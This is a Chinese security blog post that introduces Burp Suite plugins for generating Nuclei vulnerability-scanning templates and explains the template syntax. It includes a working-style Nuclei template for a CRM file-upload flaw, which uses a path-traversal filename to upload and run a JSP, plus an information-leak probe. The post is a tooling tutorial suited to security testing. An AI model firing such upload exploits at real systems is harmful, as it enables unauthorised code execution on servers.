推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

admin 2024年1月10日16:16:02评论92 views字数 6258阅读20分51秒阅读模式

0x01 工具介绍

        这里推荐一款Burp转Nuclei模板的插件,可以让你写Nuclei Poc 的效率直接拉满。下载后导入bp 即可,使用也非常简单。

 

0x02 快速上手

        直接利用工具生成一个文件存在文件上传漏洞的POC,其他任意文件读取,信息泄露就更简单了。

推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

id: fileupload-CrmBasicActioninfo:  name: ZD-crmbasicaction-upload  author: CB-Hack  severity: criticalvariables:  filename: "{{to_lower(rand_base(10))}}"  boundary: "{{to_lower(rand_base(20))}}"http:  - raw:      - |        POST  /xxxx/xxxxn.entcrm?method=zipFileUpload&c_transModel=old HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36        Connection: close        Content-Type: multipart/form-data; boundary={{boundary}}        Accept-Encoding: gzip, deflate, br        --{{boundary}}        Content-Disposition: form-data; name="file"; filename="../../{{filename}}.jsp"        Content-Type: application/zip        <% out.println(1*123456);new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>        --{{boundary}}--      - |+        GET /xxxx/dao{{filepath}}{{filename}}.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36        Content-Length: 0        Accept-Encoding: gzip, deflate        Connection: close    extractors:      - type: regex        name: filepath        part: body        internal: true        group: 1        regex:          - '(/d+/)'    matchers-condition: and    matchers:      - type: dsl        dsl:          - status_code==200 && contains(body_2,'123456')

生成信息泄露POC.yaml

推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

id:Information-disclosure-vulnerabilityinfo:  name: xxxx-infoleak  author: CB-Hack  severity: highrequests:  - raw:      - |+        GET /xxxxx/info.log HTTP/1.1        Host: {{Hostname}}        Upgrade-Insecure-Requests: 1        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Accept-Encoding: gzip, deflate, br        Accept-Language: zh-CN,zh;q=0.9        Connection: close    matchers-condition: and    matchers:      - type: word        part: header        words:          - 'Content-Type: text/plain'      - type: word        part: header        words:          - HTTP/1.1 200 OK      - type: status        status:          - 200
批量扫描效果

推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

单个扫描效果

推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

0x03 参数介绍

id

ID 不得包含空格。这样做是为了让输出解析更容易。

id: git-config
信息
        关于模板的下一个重要信息是信息块。信息块提供 名称 、 作者 、 严重性 、 描述 、参考和 标签 。它还包含表示模板严重性的严重性字段,信息块还支持动态字段,因此可以定义N个key: value块以提供有关模板的更多有用信息。reference是另一个流行的标签,用于定义模板的外部参考链接。
另一个总是添加到info块中的有用标签是 tags 。这允许您将一些自定义标签设置为模板,具体取决于目的等cve。rce这允许核心使用您的输入标签识别模板并仅运行它们。
info:  name: Git Config File Detection Template  author: Ice3man  severity: medium  description: Searches for the pattern /.git/config on passed URLs.  reference: https://www.acunetix.com/vulnerabilities/web/git-repository-found/  tags: git,config
        实际请求和相应的匹配器被放置在信息块下方,它们执行向目标服务器发出请求并查找模板请求是否成功的任务。
基本请求
请求
        Nuclei 为与 HTTP 协议相关的各种功能提供了广泛的支持。支持基于原始和模型的 HTTP 请求,以及非 RFC 客户端请求选项也支持。还可以指定有效负载,并且可以根据有效负载值以及本页面稍后显示的更多功能来转换原始请求。
        HTTP 请求以一个request块开始,该块指定模板请求的开始。
requests:  - raw:      - |
请求方法
        根据poc需要,来决定请求方法GET 、 POST 、 PUT 、DELETE等。
GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.
重定向
        默认情况下不支持重定向。如果有需要,可以添加redirects: true在请求详细信息中启用。然后使用max-redirects字段,后面的数字是允许重定向的次数,默认情况下最多遵循 10 个重定向。
requests:  - raw:      - |        GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.1        redirects: true         max-redirects: 3
路径
        请求的下一部分是请求的路径。动态变量可以放置在路径中以在运行时修改其行为。变量以开头{{和}}结尾并且区分大小写。
{{BaseURL}} - 这将在请求的运行时替换为目标文件中指定的输入 URL。{{RootURL}} - 这将在运行时将请求中的根 URL 替换为目标文件中指定的根 URL。{{Hostname}} - 主机名变量被替换为主机名,包括运行时目标的端口。{{Host}} - 这将在运行时替换目标文件中指定的输入主机的请求。{{Port}} - 这将在请求中的运行时替换为目标文件中指定的输入端口。{{Path}} - 这将在请求中的运行时替换为目标文件中指定的输入路径。{{File}} - 这将在请求中的运行时替换为目标文件中指定的输入文件名。{{Scheme}} - 这将在运行时按目标文件中指定的协议替换模板中的请求。
Variable  Value{{BaseURL}}  https://example.com:443/foo/bar.php{{RootURL}}  https://example.com:443{{Hostname}}  example.com:443{{Host}}  example.com{{Port}}  443{{Path}}  /foo{{File}}  bar.php{{Scheme}}  https
请求头
指定请求头。
# headers contain the headers for the requestheaders:  # Custom user-agent header  User-Agent: Some-Random-User-Agent  # Custom request origin  Origin: https://google.com
body
请求时需要发送的内容。
# Body is a string sent along with the requestbody: "{"some random JSON"}"# Body is a string sent along with the requestbody: "admin=test"
Session
        在发起多个请求时,需要保持会话,可以添加cookie-reuse: true来保持多个请求时会话得到保持,这在有身份验证时很有用。
# cookie-reuse accepts boolean input and false as defaultcookie-reuse: true
请求条件
        请求条件允许检查多个请求之间的条件,以编写复杂的检查和涉及多个 HTTP 请求的漏洞利用以完成漏洞利用链。
使用 DSL 匹配器,可以通过添加req-condition: true和 作为后缀的数字来使用相应的属性,status_code_1例如。status_code_3 body_2
    req-condition: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 404 && status_code_2 == 200 && contains((body_2), 'secret_string')"

匹配器

匹配器允许对协议响应进行不同类型的灵活比较。非常易于编写,并且可以根据需要添加多个检查以实现非常有效的扫描。

0x04 一键生成POC插件2

Burpsuit官方NucleiPOC生成插件

下载地址在末尾

推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

0x05 介绍

特征模板匹配器生成Word以及使用历史或上下文Binary中选定的响应片段创建匹配器ProxyRepeater多行选择被拆分为单独的单词以提高可读性ASCII为包含非字符的选择创建二进制匹配器该part字段是根据选择是在请求标头还是正文中自动设置的每个生成的模板都会使用响应的状态代码自动包含一个Status匹配器HTTP修改生成的模板通过突出显示响应的一部分,可以将新的匹配器和请求添加到先前生成的模板中如果是 CVE,可以自动填写模板信息字段(右键单击模板,添加 → 分类 → CVE)请求模板生成在该Intruder选项卡中,选定的有效负载位置可用于生成请求模板,使用以下攻击类型之一:Battering ram,Pitchfork或Cluster bomb从或HTTP选项卡下的请求中选择的文本片段可用于生成请求模板,攻击类型默认为ProxyRepeaterBattering ram可以通过选择多个代理项并单击“生成”来生成包含多个请求的模板模板执行生成的模板可以立即执行,并且输出显示在同一窗口中以方便使用该插件使用从所需请求中提取的绝对核心路径、绝对模板路径和目标信息自动生成 CLI 命令存储独特的执行命令的历史记录,可以在当前会话中快速搜索和重新执行可以使用CTRL + R键盘快捷键访问 CLI 标志过滤和完成支持实验特点(非上下文)YAML属性和值自动完成,使用核心JSON模式中的保留字YAML基于保留字的属性语法突出显示生产率几乎每个操作都可以使用键盘快捷键触发:F1:打开核模板文档Ctrl + Enter:执行当前模板Ctrl + Shift + E:跳转到模板编辑器Ctrl + L:跳转到 CLI 输入字段Ctrl + R:显示 CLI 参数助手Ctrl + S:保存当前模板Ctrl + 加号/减号:增大/减小字体大小Ctrl + Q:退出选项卡支持:Ctrl + Tab或Ctrl + PageDown:打开下一个选项卡Ctrl + Shift + Tab或Ctrl + PageUp:打开上一个选项卡Ctrl + [1-9] : 移动到第n个选项卡鼠标在选项卡上向上/向下滚动:导航到下一个或上一个选项卡Ctrl + W或鼠标中键单击:关闭当前选项卡如果模板保存到新位置,模板路径会自动更新template-id保存时建议将其作为文件名设置该插件尝试自动检测并完成配置值该代码使用进程环境PATH变量中的值来搜索 nuclei 二进制路径。注意:与独立的 BurpSuite jar 相比,Burp Suite 二进制文件可能无法访问当前用户的PATH变量。目标模板路径是根据默认的nuclei模板目录计算的,配置如下<USER_HOME>/.config/nuclei/.templates-config.json当前登录操作系统用户的名称用作模板作者配置的默认值用户可以决定是在专用窗口中显示生成的模板还是嵌入在 Nuclei 选项卡中的“生成器”下外观和感觉模板生成器窗口支持深色和浅色主题。所呈现的主题是根据选定的 Burp Suite 主题选择的,位于User Options支持有色核输出模板编辑器和命令输出中可修改字体大小构建代码用于mvn clean package -DskipTests自己构建项目。它需要 Maven3.x和 Java 11+。 macOS 上,可以使用 Homebrew 来满足插件的依赖关系:brew install mvn openjdk@11或者,可以从“操作”部分下载不同的版本。构建的工件可以在最新构建的部分下找到Artifacts 。这些工件在每次提交后生成,但仅存储有限的时间。安装通过构建代码:自己构建代码或下载预构建/发布版本进入Extender_Burp Suite单击选项卡Add中的按钮Extensions保持开启Extension Type状态Java选择插件的路径 ( .jar)通过BApp 商店:进入Extender_Burp Suite选择BApp Store选项卡点击安装

0x06 使用截图

推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

0x07 下载 :

工具一下载地址:
https://github.com/ffffffff0x/burp_nu_te_gen/releases/download/v1.4.1/burp_nu_te_gen_Releases.zip
官方工具下载地址:
https://github.com/projectdiscovery/nuclei-burp-plugin/releases/download/v1.1.2/nuclei-burp-plugin-1.1.2.jar

原文始发于微信公众号(渗透安全HackTwo):推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日16:16:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具https://cn-sec.com/archives/2381393.html

发表评论

匿名网友 填写信息